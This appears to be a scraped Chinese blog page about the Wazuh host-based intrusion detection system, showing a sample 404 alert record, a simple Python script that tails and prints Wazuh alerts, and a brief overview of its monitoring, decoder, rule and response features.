{"timestamp":"2023-03-07T15:35:34.651+0800","rule":{"level":5,"description":"Web server 404 error code.","id":"31101","firedtimes":3,"mail":false,"groups":["web_log","attack"],"pci_dss":["6.5","11.4"],"gdpr":["IV_35.7.d"],"nist_800_53":["SA.11","SI.4"],"tsc":["CC6.6","CC7.1","CC8.1","CC6.1","CC6.8","CC7.2","CC7.3"]},"agent":{"id":"000","name":"localhost.localdomain"},"manager":{"name":"localhost.localdomain"},"id":"1678174534.81648","full_log":"192.168.174.1 - - [07/Mar/2023:15:35:34 +0800] GET /user/reg.php111 HTTP/1.1 404 1034","decoder":{"name":"web-accesslog"},"data":{"protocol":"GET","srcip":"192.168.174.1","id":"404","url":"/user/reg.php111"},"location":"/opt/lampp/logs/access_log"}

vscode安装pylance及python插件

开源工具利器之基于主机的IDS:Wazuh_第100张图片

linux下python3

https://blog.csdn.net/weixin_53060366/article/details/125828328
from datetime import datetime
import time
import json

filename = "/var/ossec/logs/alerts/alerts.json"
file = open(r'/var/ossec/logs/alerts/alerts.json')

file.seek(0, 2)

while True:
    line_list = file.readlines()
    if line_list == 0:
        continue

    for line in line_list:
        data = json.loads(line.strip())

        timestamp = datetime.strptime(data['timestamp'], '%Y-%m-%dT%H:%M:%S.%f+0800')
        level = data['rule']['level']
        description = data['rule']['description']
        ruleid = data['rule']['id']
        firedtimes = data['rule']['firedtimes']
        agent = data['agent']
        full_log = data['full_log']
        srcip = data['data']['srcip'] if 'srcip' in data['data'].keys() else ''


        print('timestamp : ' + str(timestamp))
        print('level : ' + str(level))
        print('ruleid : ' + str(ruleid))
        print('firedtimes : ' + str(firedtimes))
        print('srcip : ' + str(srcip))
        print('agent : ' + str(agent))
        print('description : ' + str(description))
        print('full_log : ' + str(full_log))
        print("\n")

    time.sleep(5)

开源工具利器之基于主机的IDS:Wazuh_第101张图片

开源工具利器之基于主机的IDS:Wazuh_第102张图片

wazuh能帮我们解决的问题?

1.监控。在各个服务器上部署agent进行信息的获取信息来源,主要分为日志和命令执行的结果,从这一点看出,hids还是偏事后的,很显然攻击已经发生,有了日志或者命令结果的记录,hids才会进行后续的操作,所以wazuh也可以充当seim
1.1监控各个配置的目录
1.2监控配置命令的执行结果
2.解码器。根据正则/json获取需要的日志,包括提取ip,用户名等等
3.规则。根据解码器获取的日志与规则进行匹配
4.响应。根据规则结果进行host_deny或者firewall_drop

你可能感兴趣的:(甲方安全建设,开源IDS,HIDS,网络安全)